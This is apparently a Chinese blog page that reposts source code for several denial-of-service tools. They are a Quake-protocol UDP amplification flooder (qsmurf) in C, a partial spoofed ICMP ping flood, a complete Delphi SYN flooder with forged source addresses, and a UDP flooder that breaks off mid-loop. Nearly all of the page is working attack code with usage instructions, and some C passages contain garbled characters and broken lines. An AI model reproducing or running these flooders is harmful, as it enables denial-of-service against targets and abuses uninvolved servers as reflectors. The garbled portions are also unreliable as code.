hek源码

2013年5月30日星期四

轻量级smurf源码

轻量级smurf源码 2013-04-07 19:06:34

/*
qsmurf.c
Written by Jamal Motsa (Haul@EFnet), based on qflood.c by Andy Gavin (_k3nny@EFnet, k@ETG)
Look at his original post for the original credits.
The anti-script kiddie file descriptor bug has been removed and the code was cleaned up a lot.
This works based on the fact that when a Quake client connects to a Quake server, much more data
is received by the client than is sent. This program will spoof connections from a target (source
IP Address) to NetQuake servers, which will reply to the target with lots of data with an
amplification rate approaching 20:1.
Greets to:
Sean Stanek (vulture@EFnet) for doing most of the code optimization.
SFS, WHHS, Marlboro, the Shao Lin
Lithium Node and channel regulars, TPC, X-Tommy, the defunct #BrainFreze Jeff, NEO, Kwizatz@RURC
Sang, zuez, dead-sexy.com and crew, #phear on EFnet, AY, Eric R. for providing me with DNS
And a big middle finger to:
BTA (for being quite possibly the worse Quake 3 clan in history)
anyone who packets EFnet servers
and finally, to whoever framed OJ
*/
#include <WINSOCK2.H>
#include <WS2TCPIP.H>
#include <ctype.h>
#include <errno.h>
//#include <netdb.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
//#include <unistd.h>
//#include <arpa/inet.h>
//#include <netinet/in.h>
//#include <netinet/in_systm.h>
//#include <netinet/ip.h>
//#include <netinet/udp.h>
//#include <sys/socket.h>
#include <sys/types.h>
#pragma comment(lib, "ws2_32.lib")
struct sockaddr sa;
struct node
{
char *address;
struct node *next;
unsigned int ip;
};
struct node *head = NULL;
struct node *tail;
void add_address( struct node **, char * );
void sig_handler( int );
int main( int argc, char **argv )
{
int x = 1;
int source_port, delay, fd;
unsigned int ip;
struct sockaddr_in *p;
struct hostent *he;
struct node *current;
char *temp;
u_char thePACKET[41]=
{
    0x45,                       /* IP version, header len */
    0x00,                       /* IP diff services field */
    0x00, 0x29,                 /* IP total length */
    0xc2, 0xb5,                 /* IP id */
    0x00, 0x00,                 /* IP fragment offset */
    0x80,                       /* IP TTL */
    0x11,                       /* IP protocol */
    0, 0,                       /* IP header checksum */
    0, 0, 0, 0,                 /* IP src */
    0, 0, 0, 0,                 /* IP dest */
    0x00, 0x00,                 /* UDP src port */
    0, 0,                       /* UDP dest port */
    0x00, 0x15,                 /* length = 21 */
    0x00, 0x00,                 /* UDP checksum */
    0x80, 0x00,                 /* Quake flags */
    0x00, 0x0d,                 /* Quake length */
    0x01,                       /* Quake command = connect */
    0x51, 0x55, 0x41, 0x4b,     /* Quake game = QUAKE */
    0x45, 0x00,
    0x03, 0x01                  /* Quake version = 3 */
};
WSADATA wsaData;
if( argc != 5 )
{
    fprintf( stderr, "\nqsmurf - floods targets with amplified UDP packets using the NetQuake protocol\n" );
    fprintf( stderr, "\tWritten by Jamal Motsa (Haul@EFnet)\n" );
fprintf( stderr, "\tTranlated into Win32 Version by shadowstar (http://shadowstar.126.com/)\n" );
    fprintf( stderr, "\tUsage: %s <servers> <src> <server_port> <delay>\n", *argv );
    fprintf( stderr, "\t\tservers = comma-delimited list of IP Address/hostnames of Quake servers\n" );
    fprintf( stderr, "\t\t IP Address/hostname of target\n" );
    fprintf( stderr, "\t\tserver_port = Quake server port\n" );
    fprintf( stderr, "\t\tdelay = delay between connection requests (in msec, 0 for no delay)\n" );
    fprintf( stderr, "\t\texample: %s 10.0.0.2,10.0.0.3 10.0.0.10 26000 50000\n\n", argv[0] );
    exit( 0 );
}
WSAStartup(MAKEWORD(2, 2), &wsaData);
srand( time( NULL ));
delay = atoi( argv[4] );
/* build a linked list of addresses entered on command line */
temp = strtok( argv[1], "," );
add_address( &head, temp );
signal( SIGINT, sig_handler );
tail = head;
temp = strtok( NULL, "," );
while( temp != NULL )
{
    add_address( &(tail->next), temp );
    tail = tail->next;
    temp = strtok( NULL, "," );
}
current = head;
if(( fd=socket( AF_INET, SOCK_RAW, IPPROTO_RAW )) == -1 )
{
    perror( "Can't create raw socket (you must run as root)" );
    exit( 0 );
}
if( setsockopt( fd, IPPROTO_IP, IP_HDRINCL, (char*)&x, sizeof(x)) < 0 )
{
    perror( "setsockopt IP_HDRINCL error" );
    exit( 0 );
}
if( ( he = gethostbyname( "10.0.1.37") ) == NULL )
// if( ( he = gethostbyname( argv[2]) ) == NULL )
{
    fprintf( stderr, "Can't resolve src\n" );
    exit( 0 );
}
memcpy( &ip, *( he->h_addr_list ), 4 );

while( 1 )
{
    while( current != NULL )
    {
      memcpy( ( thePACKET + 12 ), &ip, 4 );
      memcpy( ( thePACKET + 16 ), &(current->ip), 4 );
      source_port = rand() % 3976 + 1024;
      *(u_short*)(thePACKET + 20) = htons( (u_short) source_port );
      *(u_short*)(thePACKET + 22) = htons( (u_short) atoi( argv[3] ));
      p = ( struct sockaddr_in* ) &sa;
      p->sin_family = AF_INET;
      memcpy( &(p->sin_addr), &current->ip, 4 );
      if(( sendto( fd, &thePACKET, sizeof(thePACKET), 0, (struct sockaddr*)p, sizeof(struct sockaddr ))) == -1)
      {
        perror( "sendto error" );
        exit( 0 );
      }
      printf( "Quake connection request sent from %s:%i to %s:%s\n", argv[2], source_port, current->address, argv[3] );
      if( delay > 0 ) Sleep( delay );
      current = current->next;
    }
    current = head;
}
WSACleanup();
exit( 1 );
}
void add_address( struct node** reference, char *data )
{
struct hostent * he;
struct node* new_node = malloc( sizeof( struct node ));
new_node->address = data;
new_node->next = *reference;
if( ( he = gethostbyname( new_node->address )) == NULL )
{
    fprintf( stderr, "Can't resolve server\n");
    exit( 0 );
}
memcpy( &(new_node->ip), *( he->h_addr_list ),4 );
*reference = new_node;
}
void sig_handler( int number )
{
struct node *current = head;
struct node *next;
printf( "\nCaught SIGINT. Cleaning up memory..." );
while( current != NULL )
{
    next = current->next;
    free( current );
    current = next;
}
printf( "done.\n\n" );
exit( 1 );
}

伪装攻击 IP地址的洪水Ping攻击详解之源码

2011-03-17 09:49 佚名计世网我要评论(0) 字号：T | T

在以前的文章中，我们已经为大家介绍了IP地址的洪水Ping攻击的整个过程，那么本文，将会与大家分享代码部分。

AD：2013大数据全球技术峰会课程PPT下载

Ping是探寻网络主机是否存在的一个工具，很久以前，一部分操作系统(例如win95)，不能很好处理过大的Ping包，导致出现了Ping to Death的攻击方式(用大Ping包搞垮对方或者塞满网络)，随着操作系统的升级，网络带宽的升级、计算机硬件的升级。
源码公布如下：


typedef struct _IPhdr //定义IP首部  
 
{  
 
unsigned char h_verlen; //4位首部长度，4位IP版本号  
 
unsigned char tos; //8位服务类型TOS  
 
unsigned short total_len; //16位总长度(字节)  
 
unsigned short ident; //16位标识  
 
unsigned short frag_and_flags; //3位标志位  
 
unsigned char　ttl; //8位生存时间 TTL  
 
unsigned char proto; //8位协议 (TCP, UDP 或其他)  
 
unsigned short checksum; //16位IP首部校验和  
 
unsigned int sourceIP; //32位源IP地址  
 
unsigned int destIP; //32位目的IP地址  
 
}IP_HEADER;  
 
// 定义ICMP首部  
 
typedef struct _ihdr  
 
{  
 
BYTE i_type; //8位类型  
 
BYTE i_code; //8位代码  
 
USHORT i_cksum; //16位校验和  
 
USHORT i_id; //识别号(一般用进程号作为识别号)  
 
USHORT i_seq; //报文序列号  
 
ULONG timestamp; //时间戳  
 
}ICMP_HEADER;  
 
//CheckSum:计算校验和的子函数  
 
USHORT checksum(USHORT *buffer, int size)  
 
{  
 
unsigned long cksum=0;  
 
while(size >1)  
 
{  
 
cksum+=*buffer++;  
 
size -=sizeof(USHORT);  
 
}  
 
if(size )  
 
{  
 
cksum += *(UCHAR*)buffer;  
 
}  
 
cksum = (cksum 》 16) + (cksum & 0xffff);  
 
cksum += (cksum 》16);  
 
return (USHORT)(~cksum);  
 
}  
 
//FakePing主函数  
 
int main(int argc, char **argv)  
 
{  
 
int datasize,ErrorCode,counter,flag;  
 
int TimeOut=2000, SendSEQ=0, PacketSize=32;  
 
char SendBuf[65535]=;  
 
WSADATA wsaData;  
 
SOCKET SockRaw=(SOCKET)NULL;  
 
struct sockaddr_in DestAddr;  
 
IP_HEADER IP_header;  
 
ICMP_HEADER icmp_header;  
 
char FakeSourceIP[20],DestIP[20];  
 
//接受命令行参数  
 
if (argc<3)  
 
{  
 
printf("FakePing by Shotgun  
 
");  
 
printf(" This program can do Ping-Flooding from a FakeIP  
 
");  
 
printf(" Using a BroadCast IP as the FakeIP will enhance the effect  
 
");  
 
printf("Email:  
 
");  
 
printf(" Shotgun@Xici.Net  
 
");  
 
printf("HomePage:  
 
");  
 
printf(" http://It.Xici.Net  
 
");  
 
printf(" http://www.Patching.Net  
 
 
");  
 
printf("USAGE:  
 
FakePing.exe FakeSourceIP DestinationIP [PacketSize]  
 
");  
 
printf("Example:  
 
");  
 
printf(" FakePing.exe 192.168.15.23 192.168.15.255  
 
");  
 
printf(" FakePing.exe 192.168.15.23 192.168.15.200 6400  
 
");  
 
exit(0);  
 
}  
 
strcpy(FakeSourceIP,argv[1]);  
 
strcpy(DestIP,argv[2]);  
 
if (argc>3) PacketSize=atoi(argv[3]);  
 
if (PacketSize>60000)  
 
{  
 
printf("Error! Packet size too big, must <60K 
 
");  
 
exit(0);  
 
}  
 
printf("Now Fake %s　Ping %s　using Packet size=%d bytes  
 
",  
 
FakeSourceIP, DestIP, PacketSize);  
 
printf(" Ctrl+C to Quit  
 
");  
 
//初始化SOCK_RAW  
 
if((ErrorCode=WSAStartup(MAKEWORD(2,1)，&wsaData))!=0)  
 
{  
 
fprintf(stderr,"WSAStartup failed: %d  
 
",ErrorCode);  
 
ExitProcess(STATUS_FAILED);  
 
}  
 
if((SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))  
 
==INVALID_SOCKET)  
 
{  
 
fprintf(stderr,"WSASocket() failed: %d  
 
",WSAGetLastError());  
 
ExitProcess(STATUS_FAILED);  
 
}  
 
flag=TRUE;  
 
//设置IP_HDRINCL以自己填充IP首部  
 
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));  
 
if(ErrorCode==SOCKET_ERROR)  
 
printf("Set IP_HDRINCL Error!  
 
");  
 
__try  
 
{  
 
//设置发送超时  
 
ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));  
 
if (ErrorCode==SOCKET_ERROR)  
 
{  
 
fprintf(stderr,"Failed to set send TimeOut: %d  
 
",WSAGetLastError());  
 
__leave;  
 
}  
 
memset(DestAddr,0,sizeof(DestAddr));  
 
DestAddr.sin_family=AF_INET;  
 
DestAddr.sin_addr.s_addr=inet_addr(DestIP);  
 
//填充IP首部  
 
IP_header.h_verlen=(4《4 　 sizeof(IP_header)/sizeof(unsigned long)); //高四位IP版本号，低  
 
四位首部长度  
 
IP_header.total_len=htons(sizeof(IP_HEADER)+sizeof(ICMP_HEADER)); //16位总长度(字节) IP_header.ident=1; //16位标识 IP_header.frag_and_flags=0; //3位标志位 IP_header.ttl=128; //8位生存时间 TTL IP_header.proto=IPPROTO_ICMP;

IP地址的洪水Ping攻击的代码比较复杂，但是代码都进行了注释，这样大家就能更容易的理解了。

SynFlood源码

2009-11-14 16:47 by HYrz的菜园子, 121 阅读, 0 评论, 收藏, 编辑

Usage: SynFlood -h:IP -p:port 代码:program SynFlood;
{$APPTYPE CONSOLE}
uses Windows,
Winsock;//WinSock2;
const
IP_HDRINCL = 2; // IP Header Include
Header_SEQ = $19026695;
SEQ = $28376839;
SYN_DEST_IP = '172.17.103.127'; //被攻击的IP
FAKE_IP = '10.168.150.1'; //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段
//TCP头 20位type
TCP_HEADER = record
th_sport : Word; //16位源端口
th_dport : Word; //16位目的端口
th_seq : DWORD; //32位序列号
th_ack : DWORD; //32位确认号
th_lenres : Byte; //4位首部长度+6位保留字中的4位
th_flag : Byte; //2位保留字+6位标志位 2是SYN，1是FIN，16是ACK探测
th_win : Word; //16位窗口大小
th_sum : Word; //16位校验和
th_urp : Word; //16位紧急数据偏移量end;
// IP 头 20位type
IP_HEADER = record
h_verlen : Byte; //4位首部长度+4位IP版本号
tos : Byte; //8位服务类型TOS，定义了数据传输的优先级、延迟、吞吐量和可靠性等特性
total_len : Word; //16位总长度（字节） IP包的长度，若没有特殊选项，一般为20字节长
ident : Word; //16位IP包标识，主机使用它唯一确定每个发送的数据报
frag_and_flags : Word; //Fragment Offset 13 IP数据分割偏移
ttl : Byte; //8位生存时间TTL，每通过一个路由器，该数值减一
proto : Byte;//8位协议号(TCP, UDP 或其他) 比如：ICMP为1，IGMP为2，TCP为6，UDP为17等
checksum : Word; //16位IP首部校验和
sourceIP : LongWord; //32位源IP地址
destIP : LongWord; //32位目的IP地址end;
//TCP伪头 12位type
PSD_HEADER = record
saddr : DWORD; //源地址
daddr : DWORD; //目的地址
mbz : Byte; //置空
ptcl : Byte; //协议类型
tcpl : WORD; //TCP长度end;
type
CLIENTPARA = record
Port:integer;
IP:string;end;
var
clientpa :^CLIENTPARA;
SendSEQ :Integer = 0;
TimeOut :Integer =5000;
function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g,
dwFlags: dword): integer;stdcall;external 'ws2_32.dll';
function setsockopt( const s: TSocket; const level, optname: Integer; optval: PChar;const optlen: Integer ): Integer; stdcall;external 'ws2_32.dll';
function IntToStr(I: integer): string;begin
Str(I, Result);end;
function StrToInt(S: string): integer;begin
Val(S, Result, Result);end;
function LowerCase(const S: string): string;var
Ch: Char;
L: Integer;
Source, Dest: PChar;begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);while L <> 0 do
begin
Ch := Source^;if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);end;end;
{
CheckSum:计算校验和的子函数
IP校验和的计算方法是：首先将IP首部的校验和字段设为0（IP_HEADER.checksum=0）,
然后计算整个IP首部（包括选项）的二进制反码的和
TCP首部检验和与IP首部校验和的计算方法相同，在程序中使用同一个函数来计算。
由于TCP首部中不包含源地址与目标地址等信息，为了保证TCP校验的有效性，
在进行TCP校验和的计算时，需要增加一个TCP伪首部的校验和}
function checksum(var Buffer; Size: integer): word;type
TWordArray = array[0..1] of word;var
lSumm: LongWord;
iLoop: integer;begin
lSumm := 0;
iLoop := 0;while Size > 1 do
begin
lSumm := lSumm + TWordArray(Buffer)[iLoop];
inc(iLoop);
Size := Size - SizeOf(word);end;if Size = 1 then lSumm := lSumm + Byte(TWordArray(Buffer)[iLoop]);
lSumm := (lSumm shr 16) + (lSumm and $FFFF);
lSumm := lSumm + (lSumm shr 16);
Result := word(not lSumm);end;
//syn洪水攻击function SynFloodThreadProc(p:Pointer):LongInt;stdcall;var
WSAData :TWSAData;
sock :TSocket;
Remote :TSockAddr;
ipHeader :IP_HEADER;
tcpHeader :TCP_HEADER;
psdHeader :PSD_HEADER;
ErrorCode,bOpt,counter,FakeIpNet,FakeIpHost,datasize :integer;
Buf :array [0..127] of char;//FromIP :string;begin
Result :=0;//建立一个原始套接口if WSAStartup(MAKEWORD(2,2), WSAData)<>0 then exit;
sock :=WSASocketA(AF_INET, SOCK_RAW, IPPROTO_RAW, nil, 0, {WSA_FLAG_OVERLAPPED}0);if sock = INVALID_SOCKET then exit;//设置ip选项
bOpt := 1;//设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和if setsockopt(sock,IPPROTO_IP, IP_HDRINCL,@bOpt, SizeOf(bOpt)) = SOCKET_ERROR then exit;
//设置发送超时//ErrorCode :=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,pchar(TimeOut),sizeof(TimeOut));//if ErrorCode = SOCKET_ERROR then exit;

Randomize;
FillChar(Remote,sizeof(Remote),#0);
Remote.sin_family :=AF_INET;//Remote.sin_addr.s_addr:=inet_addr(SYN_DEST_IP);
Remote.sin_addr.S_addr :=inet_addr(pchar(CLIENTPARA(p^).IP));
Remote.sin_port :=htons(CLIENTPARA(p^).Port);
FakeIpNet:=inet_addr(FAKE_IP);
FakeIpHost:=ntohl(FakeIpNet);
//填充IP首部
ipHeader.h_verlen :=(4 shl 4) or (sizeof(ipHeader) div sizeof(LongWord)); //高四位IP版本号，低四位首部长度
ipHeader.total_len :=htons(sizeof(ipHeader)+sizeof(tcpHeader)); //16位总长度（字节）
ipHeader.ident:=1; //16位标识
ipHeader.tos :=0; //IP服务类型
ipHeader.frag_and_flags:=0; //段偏移域
ipHeader.ttl:=128; //8位生存时间TTL
ipHeader.proto:=IPPROTO_TCP; //8位协议(TCP,UDP…) UDP=17 $11
ipHeader.checksum:=0; //16位IP首部校验和
ipHeader.sourceIP:=htonl(FakeIpHost+SendSEQ); //32位源IP地址//ipHeader.destIP:=inet_addr(pchar(SYN_DEST_IP)); //32位目的IP地址
ipHeader.destIP:=inet_addr(pchar(CLIENTPARA(p^).IP));
//随机产生源地址{FromIP:=IntToStr(Random(254)+1)+'.'+ IntToStr(Random(254)+1)+'.'+
IntToStr(Random(254)+1)+'.'+Inttostr(Random(254)+1);
ipHeader.sourceIP:=inet_Addr(PChar(FromIP)); //32位源IP地址
ipHeader.destIP:=Remote.sin_addr.S_addr; //32位目的IP地址 }
//填充TCP首部
tcpHeader.th_sport:=htons(Random(65536)+1); //随机产生源端口
tcpHeader.th_dport:=Remote.sin_port; //目的端口号//tcpHeader.th_sport:=htons(7000); //源端口号//tcpHeader.th_dport:=htons(8080); //目的端口号
tcpHeader.th_seq:=htonl(SEQ+SendSEQ); //SYN序列号
tcpHeader.th_ack:=0; //ACK序列号置为0
tcpHeader.th_lenres:=(sizeof(tcpHeader) shr 2 shl 4) or 0; //TCP长度和保留位
tcpHeader.th_flag:=2; //实现不同的标志位探测，2是SYN，1是FIN，16是ACK探测
tcpHeader.th_win:=htons(16384); //窗口大小
tcpHeader.th_urp:=0; //紧急偏移量
tcpHeader.th_sum:=0; //校验和
//填充TCP伪首部（用于计算校验和，并不真正发送）
psdHeader.saddr:=ipHeader.sourceIP; //源地址
psdHeader.daddr:=ipHeader.destIP; //目的地址
psdHeader.mbz:=0;
psdHeader.ptcl:=IPPROTO_TCP; //协议类型
psdHeader.tcpl:=htons(sizeof(tcpHeader)); //TCP首部长度
while true do
begin
//每发送10,240个报文输出一个标示符//writeln('.');for counter:=0 to 10239 do
begin
inc(SendSEQ);if (SendSEQ=65536) then SendSEQ :=1; //序列号循环//更改IP首部
ipHeader.checksum :=0; //16位IP首部校验和
ipHeader.sourceIP :=htonl(FakeIpHost+SendSEQ); //32位源IP地址//更改TCP首部
tcpHeader.th_seq :=htonl(SEQ+SendSEQ); //SYN序列号
tcpHeader.th_sum :=0; //校验和//更改TCP伪首部
psdHeader.saddr :=ipHeader.sourceIP;
//计算TCP校验和，计算校验和时需要包括TCP伪首部
FillChar(Buf,SizeOf(Buf),#0);//将两个字段复制到同一个缓冲区Buf中并计算TCP头校验和
CopyMemory(@Buf[0],@psdHeader,SizeOf(psdHeader)); //12
CopyMemory(@Buf[SizeOf(psdHeader)],@tcpHeader,SizeOf(tcpHeader)); //20
TCPHeader.th_sum:=checksum(Buf,SizeOf(psdHeader)+SizeOf(tcpHeader)); //32
//计算IP头校验和
CopyMemory(@Buf[0],@ipHeader,SizeOf(ipHeader)); //20
CopyMemory(@Buf[SizeOf(ipHeader)],@tcpHeader,SizeOf(tcpHeader)); //20
FillChar(Buf[SizeOf(ipHeader)+SizeOf(tcpHeader)],4,#0);
datasize :=SizeOf(ipHeader)+SizeOf(tcpHeader);
ipHeader.checksum:=checksum(Buf,datasize); //40
//填充发送缓冲区
CopyMemory(@Buf[0],@ipHeader,SizeOf(ipHeader)); //20
//发送TCP报文
ErrorCode:=sendto(sock, buf, datasize, 0, Remote, sizeof(Remote));if ErrorCode=SOCKET_ERROR then exit;write('.');
end; //end for
writeln('');end; //end while

closesocket(sock);
WSACleanup();end;
procedure Usage;begin
WriteLn('SynFlood 0.1 for 2000/XP/2003');
WriteLn('http://www.wrsky.com');
WriteLn('hnxyy@hotmail.com');
WriteLn('QQ:19026695');
WriteLn;
WriteLn('Usage: SynFlood -h:IP -p:port');end;
procedure ParseOption(Cmd, Arg: string);begin
if arg='' then
begin
Usage;
Halt(0);end;if lstrcmp('-h:', pchar(LowerCase(Cmd))) = 0 then
begin
clientpa^.IP :=arg;end
else if lstrcmp('-p:', pchar(LowerCase(Cmd))) = 0 then
begin
clientpa^.Port :=StrToInt(Arg);end
else
begin
Usage;
Halt(0);end;end;
procedure ProcessCommandLine;var
CmdLn: integer;begin
CmdLn := 1;if (ParamCount<2) or (ParamCount>2) then
begin
Usage;
Halt(0);end;
new(clientpa);while Length(ParamStr(CmdLn)) <> 0 do
begin
ParseOption(Copy(ParamStr(CmdLn), 1, 3), Copy(ParamStr(CmdLn), 4, Length(ParamStr(CmdLn)) - 2));
Inc(CmdLn);end;end;
var
ThreadID:DWord;begin
ProcessCommandLine;
CreateThread(nil, 0, @SynFloodThreadProc, clientpa, 0, ThreadID);while True do Sleep(1);end.

UDP DOS攻击源码

2009-11-14 16:49 by HYrz的菜园子, 193 阅读, 0 评论, 收藏, 编辑

{
//实现原理
//通过Windows2000的Winsock2.2函数库里setsockopt()的选项IP_HDRINCL实现自定义IP头}
program UdpDOS;{$APPTYPE CONSOLE}
uses windows;// IP 头type
T_IP_Header = record
ip_verlen : Byte; //Version 4 IP头的版本号，目前是IPv4，最新是IPv6
ip_tos : Byte; //Type of Service 8 服务类型，定义了数据传输的优先级、延迟、吞吐量和可靠性等特性
ip_totallength : Word; //Total Packet Length 16 IP包的长度，若没有特殊选项，一般为20字节长
ip_id : Word; //Identification 16 IP包标识，主机使用它唯一确定每个发送的数据报
ip_offset : Word; //Fragment Offset 13 IP数据分割偏移
ip_ttl : Byte; //Time to Live 8 数据报在网络上的存活时间，每通过一个路由器，该数值减一
ip_protocol : Byte;//Protocol 8 TCP/IP协议类型，比如：ICMP为1，IGMP为2，TCP为6，UDP为17等
ip_checksum : Word; //Header Checksum 16 头部检验和
ip_srcaddr : LongWord;   //Source IP Address 32 源IP地址
ip_destaddr : LongWord; //Destination IP Address 32 目的IP地址end;// UDP 头
Type
T_UDP_Header = record
src_portno : Word;     //源IP端口
dst_portno : Word;     //目标IP端口
udp_length : Word;     //UDP头的长度
udp_checksum : Word; //UDP头部校验和end;// 一些 Winsock 2 的类型声明
u_char = Char;
u_short = Word;
u_int = Integer;
u_long = Longint;
SunB = packed record
s_b1, s_b2, s_b3, s_b4: u_char;end;
SunW = packed record
s_w1, s_w2: u_short;end;in_addr = record
case integer of
0: (S_un_b: SunB);1: (S_un_w: SunW);2: (S_addr: u_long);end;
TInAddr = in_addr;
Sockaddr_in = record
case Integer of
0: (sin_family: u_short;
sin_port: u_short;
sin_addr: TInAddr;
sin_zero: array[0..7] of Char);1: (sa_family: u_short;
sa_data: array[0..13] of Char)end;
TSockAddr = Sockaddr_in;
TSocket = u_int;const
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;const
AF_INET = 2; // internetwork: UDP, TCP, etc.
IP_HDRINCL = 2; // IP Header Include
SOCK_RAW = 3; // raw-protocol interface
IPPROTO_IP = 0; // dummy for IP
IPPROTO_TCP = 6; // tcp
IPPROTO_UDP = 17; // user datagram protocol
IPPROTO_RAW = 255; // raw IP packet
INVALID_SOCKET = TSocket(NOT(0));
SOCKET_ERROR = -1;type
PWSAData = ^TWSAData;
WSAData = record //   WSDATA
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..WSADESCRIPTION_LEN] of Char;
szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInfo: PChar;end;
TWSAData = WSAData;const
   Max_Message = 4068;
   Max_Packet     = 4096;
   FAKE_IP        = '10.168.150.1'; //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段type
   TPacketBuffer = Array[0..Max_Packet-1] of byte;type
   CLIENTPARA = record
   Port:integer;
   IP:string;end;//定义一些 winsock 2 函数function closesocket(s: TSocket): Integer; stdcall;external 'ws2_32.dll'; //关闭套接口function socket(af, Struct, protocol: Integer): TSocket; stdcall;external 'ws2_32.dll'; //创建一个通讯端点并返回一个套接口。function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr;
tolen: Integer): Integer; stdcall;external 'ws2_32.dll'; //从已连接或未连接的套接口发送数据。function setsockopt(s: TSocket; level, optname: Integer; optval: PChar;
optlen: Integer): Integer; stdcall;external 'ws2_32.dll'; //设置与指定套接口相关的属性选项。function inet_addr(cp: PChar): u_long; stdcall;external 'ws2_32.dll'; {PInAddr;} { TInAddr }
//把一个Internet标准的"."记号地址转换成Internet地址数值。function htons(hostshort: u_short): u_short; stdcall;external 'ws2_32.dll'; //把16位的数字从主机字节顺序转换到网络字节顺序。function WSAGetLastError: Integer; stdcall;external 'ws2_32.dll';   //获取最近错误号function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;external 'ws2_32.dll';//对Windows Sockets DLL进行初始化,协商WINSOCK的版本支持,并分配必要的资源.function WSACleanup: Integer; stdcall;external 'ws2_32.dll';//终止对Windows Sockets DLL的使用,并释放资源,以备下一次使用.function ntohl(netlong: u_long): u_long; stdcall;external 'ws2_32.dll';function htonl(hostlong: u_long): u_long; stdcall;external 'ws2_32.dll';var
   clientpa :^CLIENTPARA;
   SendSEQ :Integer = 0;
   StrMessage:string;function IntToStr(I: integer): string;begin
   Str(I, Result);end;function StrToInt(S: string): integer;begin
   Val(S, Result, Result);end;function LowerCase(const S: string): string;var
   Ch: Char;
   L: Integer;
   Source, Dest: PChar;begin
   L := Length(S);
   SetLength(Result, L);
   Source := Pointer(S);
   Dest := Pointer(Result);
   while L <> 0 do
   begin
Ch := Source^;if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
   end;end;function CheckSum(Var Buffer; Size : integer) : Word;type
TWordArray = Array[0..1] of Word;var
ChkSum : LongWord;
i : Integer;begin
ChkSum := 0;
i := 0;
While Size > 1 do begin
ChkSum := ChkSum + TWordArray(Buffer)[i];
inc(i);
Size := Size - SizeOf(Word);end;if Size=1 then ChkSum := ChkSum + Byte(TWordArray(Buffer)[i]);
ChkSum := (ChkSum shr 16) + (ChkSum and $FFFF);
ChkSum := ChkSum + (Chksum shr 16);
Result := Word(ChkSum);end;//udpdos攻击function UdpDosThreadProc(p:Pointer):LongInt;stdcall;var
   remote : TSockAddr;
   wsdata : TWSAdata;
   sock : TSocket;
   Ptr : ^Byte;
   iIPVersion,iIPSize : Word;
   iUdpChecksumSize,iTotalSize,cksum,iUdpSize : Word;
   ipHdr : T_IP_Header;
   udpHdr : T_UDP_Header;
   ret, bOpt, FakeIpNet,FakeIpHost,counter : Integer;
   Buf : TPacketBuffer;
   StrMessage:string;
   //FromIP : String;
   procedure IncPtr(Value : Integer);
   begin
ptr := pointer(integer(ptr) + Value);
   end;begin
   result :=0;
   // Startup Winsock 2
   ret := WSAStartup($0002, wsdata);
   if ret<>0 then
   begin
writeln('WSA Startup failed.');
exit;
   end;
   writeln('WSA Startup:');
   writeln('Desc.: '+wsData.szDescription);
   writeln('Status: '+wsData.szSystemStatus);
   // Create socket
   sock := Socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
   if (sock = INVALID_SOCKET) then
   begin
writeln('Socket() failed: '+IntToStr(WSAGetLastError));
exit;
   end;
   writeln('Socket Handle = '+IntToStr(sock));
   // Option: Header Include
   bOpt := 1;
   ret := SetSockOpt(sock, IPPROTO_IP, IP_HDRINCL, @bOpt, SizeOf(bOpt));
   if ret = SOCKET_ERROR then
   begin
writeln('setsockopt(IP_HDRINCL) failed: '+IntToStr(WSAGetLastError));
exit;
   end;

   remote.sin_family := AF_INET;
   Remote.sin_addr.S_addr :=inet_addr(pchar(CLIENTPARA(p^).IP));
   Remote.sin_port :=htons(CLIENTPARA(p^).Port);
   FakeIpNet:=inet_addr(FAKE_IP);
   FakeIpHost:=ntohl(FakeIpNet);
   // 初始化 IP 头
   iTotalSize := sizeof(ipHdr) + sizeof(udpHdr) + length(strMessage);
   iIPVersion := 4;
   iIPSize := sizeof(ipHdr) div sizeof(LongWord);
   ipHdr.ip_verlen := (iIPVersion shl 4) or iIPSize;
   ipHdr.ip_tos := 0; // IP type of service
   ipHdr.ip_totallength := htons(iTotalSize); // Total packet len
   ipHdr.ip_id := 0; // Unique identifier: set to 0
   ipHdr.ip_offset := 0; // Fragment offset field
   ipHdr.ip_ttl := 128; // Time to live
   ipHdr.ip_protocol := $11; // Protocol(UDP)
   ipHdr.ip_checksum := 0 ; // IP checksum
   ipHdr.ip_srcaddr := htonl(FakeIpHost+SendSEQ); // Source address
   ipHdr.ip_destaddr := inet_addr(pchar(CLIENTPARA(p^).IP)); // Destination address
   //随机产生源地址
   {FromIP:=IntToStr(Random(254)+1)+'.'+ IntToStr(Random(254)+1)+'.'+
               IntToStr(Random(254)+1)+'.'+Inttostr(Random(254)+1);
   ipHdr.ip_srcaddr:=inet_Addr(PChar(FromIP)); //32位源IP地址
   ipHdr.ip_destaddr:=Remote.sin_addr.S_addr;   //32位目的IP地址 }
   // 初始化 UDP 头
   iUdpSize := sizeof(udpHdr) + length(strMessage);
   udpHdr.src_portno := htons(Random(65536)+1);   //随机产生源端口
   udpHdr.dst_portno := remote.sin_port;       //目的端口号
   udpHdr.udp_length := htons(iUdpSize);
   udpHdr.udp_checksum := 0;
   while true do
   begin
//每发送10,240个报文输出一个标示符//writeln('.');for counter:=0 to 10239 do
begin
   inc(SendSEQ);
   if (SendSEQ=65536) then SendSEQ :=1; //序列号循环
   //更改IP首部
